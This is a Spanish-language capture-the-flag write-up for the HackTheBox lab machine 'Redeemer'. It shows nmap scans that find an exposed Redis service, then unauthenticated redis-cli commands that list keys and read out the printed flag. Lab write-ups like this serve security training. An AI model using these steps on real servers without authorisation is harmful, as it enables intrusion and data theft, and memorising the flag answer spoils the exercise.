

HackTheBox

Máquina: Redeemer

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Escaneo inicial:

```
(pabli@kali)-[~]
$ sudo nmap -Pn -v -p- --min-rate=1000 -T4 10.129.151.48
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 20:38 CEST
Initiating Parallel DNS resolution of 1 host. at 20:38
Completed Parallel DNS resolution of 1 host. at 20:38, 0.12s elapsed
Initiating SYN Stealth Scan at 20:38
Scanning 10.129.151.48 [65535 ports]
Increasing send delay for 10.129.151.48 from 0 to 5 due to 120 out of 299 dropped probes since last
Increasing send delay for 10.129.151.48 from 5 to 10 due to 1675 out of 4187 dropped probes since last
Warning: 10.129.151.48 giving up on port because retransmission cap hit (6).
SYN Stealth Scan Timing: About 18.19% done; ETC: 20:41 (0:02:19 remaining)
SYN Stealth Scan Timing: About 34.21% done; ETC: 20:41 (0:01:57 remaining)
SYN Stealth Scan Timing: About 47.20% done; ETC: 20:41 (0:01:42 remaining)
SYN Stealth Scan Timing: About 64.70% done; ETC: 20:41 (0:01:06 remaining)
Discovered open port 6379/tcp on 10.129.151.48
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SYN Stealth Scan Timing: About 82.95% done; ETC: 20:41 (0:00:31 remaining)
Completed SYN Stealth Scan at 20:42, 240.37s elapsed (65535 total ports)
Nmap scan report for 10.129.151.48
Host is up (0.18s latency).
Not shown: 62591 closed tcp ports (reset), 2943 filtered tcp ports (no-response)
PORT      STATE SERVICE
6379/tcp  open  redis
```

Encontramos en el puerto 6379 corriendo un Redis, por lo que volvemos a realizar un escaneo en ese puerto para encontrar algo más de información:

```
(pabli@kali)-[~]
$ sudo nmap -sV -O -sC -p 6379 10.129.151.48
Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-23 20:46 CEST
Nmap scan report for 10.129.151.48
Host is up (0.48s latency).

PORT      STATE SERVICE VERSION
6379/tcp  open  redis    Redis key-value store 5.0.7
Warning: OSScan results may be unreliable because we could not find a
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19, Linux 5.0 - 5.14
Network Distance: 2 hops
```

Nos conectamos a Redis mediante la herramienta 'redis-cli':

```
(pabli@kali)-[~]  
$ redis-cli -h 10.129.151.48 -p 6379  
10.129.151.48:6379> ls  
(error) ERR unknown command `ls`, with args beginning with:  
(1.12s)  
10.129.151.48:6379> PING  
PONG  
(0.57s)  
10.129.151.48:6379> INFO  
# Server  
redis_version:5.0.7  
redis_git_sha1:00000000  
redis_git_dirty:0  
redis_build_id:66bd629f924ac924  
redis_mode:standalone  
os:Linux 5.4.0-77-generic x86_64
```

Observamos el contenido y obtenemos la flag:

```
10.129.151.48:6379> KEYS *  
1) "flag"  
2) "temp"  
3) "numb"  
4) "stor"  
(0.58s)  
10.129.151.48:6379> GET "flag"  
"03e1d2b376c37ab3f5319922053953eb"
```